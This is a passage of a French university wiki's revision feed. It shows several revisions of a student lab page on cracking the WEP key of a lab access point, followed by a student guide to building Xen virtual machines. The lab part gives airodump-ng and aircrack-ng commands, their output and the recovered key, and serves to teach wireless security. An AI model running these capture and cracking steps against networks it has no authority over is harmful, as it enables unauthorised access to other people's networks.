     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12161</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12161"/>
		<updated>2026-02-10T15:18:27Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Cassage de clé WIFI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12160</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12160"/>
		<updated>2026-02-10T15:18:07Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Cassage de clé WIFI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12159</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12159"/>
		<updated>2026-02-10T15:17:08Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12158</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12158"/>
		<updated>2026-02-10T15:13:56Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : Clé WEP trouvé&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
[00:00:00] Tested 785 keys (got 45236 IVs)&lt;br /&gt;
&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Accueil&amp;diff=11993</id>
		<title>Accueil</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Accueil&amp;diff=11993"/>
		<updated>2026-02-02T08:28:39Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Objet du Wiki */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Objet du Wiki ==&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement et cassage Wi-Fi ===&lt;br /&gt;
Clé WEP de cracotte01 : FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2024/2025_E14&amp;diff=11274</id>
		<title>Atelier SysRes SE4 2024/2025 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2024/2025_E14&amp;diff=11274"/>
		<updated>2026-01-20T15:59:30Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* CRÉATION MACHINES VIRTUELLES */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Projet AARV LECOMTE et CASIMIRI'''&lt;br /&gt;
&lt;br /&gt;
== INTRODUCTION ==&lt;br /&gt;
Dans le cadre de ce projet de virtualisation, j’ai déployé une infrastructure composée de '''deux machines dédiées aux services''' et d’une '''machine mandataire''', le tout orchestré à l’aide de '''Xen'''.&lt;br /&gt;
&lt;br /&gt;
La machine '''Atreus''' joue un rôle central en assurant '''l’hébergement des services web''' et autres composants applicatifs. La machine '''GOW''' fait office de '''mandataire réseau''' : elle gère la '''connectivité vers l’extérieur''', que ce soit en '''IPv4 ou en IPv6''', et sert aussi de '''reverse proxy''' pour rediriger les requêtes vers les machines de service internes.&lt;br /&gt;
&lt;br /&gt;
La '''deuxième machine de service''' appartient à Monsieur '''Antoine LECOMPTE''' et porte le nom de '''Kratos'''. Elle complète l’architecture et participe à l’ensemble des services distribués au sein de l’infrastructure.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;big&amp;gt;'''✉️ Petit mot pour les prochaines promotions'''&amp;lt;/big&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Salut à vous les prochaines promos 👋&lt;br /&gt;
&lt;br /&gt;
Dans ce document, j’ai essayé de vous expliquer au mieux les différentes étapes que j’ai traversées pour monter ce projet. Je me suis appuyé sur ce que j’ai compris moi-même au fil des TP, les cours des profs (qu’il faut vraiment relire, ils sont précieux), des ressources trouvées sur Internet, et je ne vais pas vous mentir… parfois un petit coup de main de certains LLM comme ChatGPT 👀 m’a bien aidé quand je bloquais.&lt;br /&gt;
&lt;br /&gt;
Ce n’est pas un tutoriel parfait, mais plutôt un guide pour vous accompagner avec des explications techniques assez simples à comprendre (que je pense avoir compris surtout), même si vous n’avez encore jamais touché au réseau, à l’infra ou à un serveur web. L’objectif, c’est que vous puissiez prendre confiance, comprendre les bases, et réussir à faire tourner votre projet sans paniquer.&lt;br /&gt;
&lt;br /&gt;
Je vous souhaite vraiment bon courage pour ce projet. C’est l’un des meilleurs moyens d’apprendre concrètement et de progresser à fond. N’hésitez pas à poser des questions à vos profs, ils sont là pour vous aider. Prenez le temps de relire vos cours tranquillement, et surtout, n’ayez pas peur de tester, de faire des erreurs, de casser et de recommencer (certains profs demande à ce qu'on casse les machines pour montrer qu'on cherche) : c’est comme ça qu’on apprend.&lt;br /&gt;
&lt;br /&gt;
Si vous avez l'occasion de les consulter, je vous conseille vivement d'aller regarder les wikis de Madame EL BACHIRI, Monsieur TOURON et Monsieur DETREZ. Ils ont certaines informations en plus que moi sur tout ce qui va être configurations CISCO, OSPF et tout ce qui touche au physique (câbles, commutateurs).&lt;br /&gt;
&lt;br /&gt;
En espérant que vous allez plus loin que nous sur ce projet ![[Fichier:Df -h.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous devons configurer nos MV de services. Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Atreus --dhcp --bridge=bifrost --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Kratos --dhcp --bridge=bifrost --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Atreus&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi créer des volumes logiques dédiés à des /var et /home pour chacune de nos VM.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, les commandes sont :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;lvcreate -L10G -nSE4.[NomdeVM].home virtual&lt;br /&gt;
&lt;br /&gt;
lvcreate -L10G -nSE4.[NomdeVM].var virtual&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
celà va créer des volumes logiques dédiés aux paths /var et /home pour vos VM dans un dossier /dev/virtual sur capbreton.&lt;br /&gt;
&lt;br /&gt;
A AUCUN moment vous devez écrire une ligne commençant par mkfs sur capbreton, vous risquez de tuer capbreton si vous le faites.&lt;br /&gt;
&lt;br /&gt;
Pour initialiser les machines, nous devons exécuter ces commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Atreus.cfg&lt;br /&gt;
xen create /etc/xen/SE4.Kratos.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Une fois les MV créées et en ligne, nous devons exécuter ces commandes pour les contrôler:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.Atreus&lt;br /&gt;
xen console SE4.Kratos&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Une fois le login &amp;quot;root&amp;quot; et le mdp (top secret) rentrés dans la console, nous sommes sur la VM et pouvons la contrôler comme un ordinateur avec un OS classique.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PARTIONING DES MV ==&lt;br /&gt;
Nous avons modifié les fichiers &amp;lt;code&amp;gt;/etc/xen/[Kratos][Atreus].cfg&amp;lt;/code&amp;gt; pour attacher les partitions LVM aux machines :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Atreus/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Atreus/swap.img,xvda1,w',&lt;br /&gt;
		  'phy:/dev/virtual/SE4.Atreus.home,xvda3,w',&lt;br /&gt;
		  'phy:/dev/virtual/SE4.Atreus.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le paramètre &amp;lt;code&amp;gt;disk&amp;lt;/code&amp;gt; définit les disques virtuels attachés à la machine virtuelle (domaine Xen).&lt;br /&gt;
&lt;br /&gt;
Chaque élément du tableau suit la syntaxe :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;type&amp;gt;:&amp;lt;source&amp;gt;,&amp;lt;cible&amp;gt;,&amp;lt;mode&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''type :''' indique si le disque provient :&lt;br /&gt;
** d'un fichier (&amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt;)&lt;br /&gt;
** d'un périphérique physique réel (&amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;).&lt;br /&gt;
* '''source :''' chemin complet vers l'image disque ou vers le périphérique physique sur la machine hôte.&lt;br /&gt;
* '''cible :''' nom du périphérique vu par la machine virtuelle (exemple : &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
* '''mode :''' type d'accès au disque (&amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; en lecture seule, &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; en lecture-écriture).&lt;br /&gt;
&lt;br /&gt;
==== DISQUE VIRTUEL PRINCIPAL : ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Atreus/disk.img,xvda2,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type''' : &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; (stockage basé sur un fichier-image disque).&lt;br /&gt;
* '''Source''' : &amp;lt;code&amp;gt;/usr/local/xen/domains/SE4.Atreus/disk.img&amp;lt;/code&amp;gt; (fichier contenant le disque virtuel).&lt;br /&gt;
* '''Cible''' : &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt; (deuxième partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; visible depuis la MV).&lt;br /&gt;
* '''Mode''' : &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; (lecture-écriture).&lt;br /&gt;
&lt;br /&gt;
Ce disque correspond à la racine (&amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt;) du système de fichiers Linux de la MV.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE VIRTUEL SWAP ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Atreus/swap.img,xvda1,w'&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; → Image disque stockée dans un fichier.&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/usr/local/xen/domains/SE4.Atreus/swap.img&amp;lt;/code&amp;gt; → Chemin de l'image disque swap.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt; → Première partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE PHYSIQUE POUR /home ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Atreus.home,xvda3,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;phy&amp;lt;/code&amp;gt; → Un périphérique physique (généralement une partition réelle ou un volume logique LVM).&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/dev/virtual/SE4.Atreus.home&amp;lt;/code&amp;gt; → Partition ou volume logique physique sur l'hôte. L'hôte étant le disque dur de capbreton.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; → Troisième partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cette partition dédiée permet d’isoler le répertoire &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;, facilitant ainsi la gestion des données utilisateur séparément du système.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE PHYSIQUE POUR /var ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Atreus.var,xvdb1,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;phy&amp;lt;/code&amp;gt; → Périphérique physique.&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/dev/virtual/SE4.Atreus.var&amp;lt;/code&amp;gt; → Partition physique ou volume logique dédié sur l'hôte.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; → Première partition du second disque virtuel (&amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Cette partition est dédiée au répertoire &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, où sont stockés les journaux (logs), les bases de données, les fichiers temporaires, etc. Cette séparation permet une meilleure gestion des données systèmes dynamiques.&lt;br /&gt;
&lt;br /&gt;
Pour le fichier /var&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour le fichier /home&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DÉMARRAGE AUTOMATIQUE DU MONTAGE ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|Fichier_fstab|centré]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU ==&lt;br /&gt;
&lt;br /&gt;
Chaque machine dispose d'une adresse IPv4 fixe sur un réseau privé, ainsi que d'une adresse IPv6 configurée automatiquement.&lt;br /&gt;
&lt;br /&gt;
Nous modifions la configuration réseau dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; de la machine mandataire. Ensuite, nous ajustons le fichier de configuration de la machine virtuelle afin qu'elle possède deux interfaces : la première permet de communiquer avec le routeur mis en place par nos collègues, tandis que la seconde est connectée au pont réseau que nous avons créé pour l’intercommunication entre nos trois machines.&lt;br /&gt;
&lt;br /&gt;
=== MACHINE MANDATAIRE ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
name        = 'SE4.GOW'&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
#  Networking&lt;br /&gt;
#&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
vif         = [ 'mac=00:16:3E:E7:C5:1A,bridge=bifrost',&lt;br /&gt;
		'mac=00:16:3E:E7:C5:1B,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le pont nommé '''&amp;quot;bifrost&amp;quot;''', défini dans le fichier de configuration de notre machine virtuelle mandataire, sert à '''relier virtuellement les trois machines''' entre elles.&lt;br /&gt;
&lt;br /&gt;
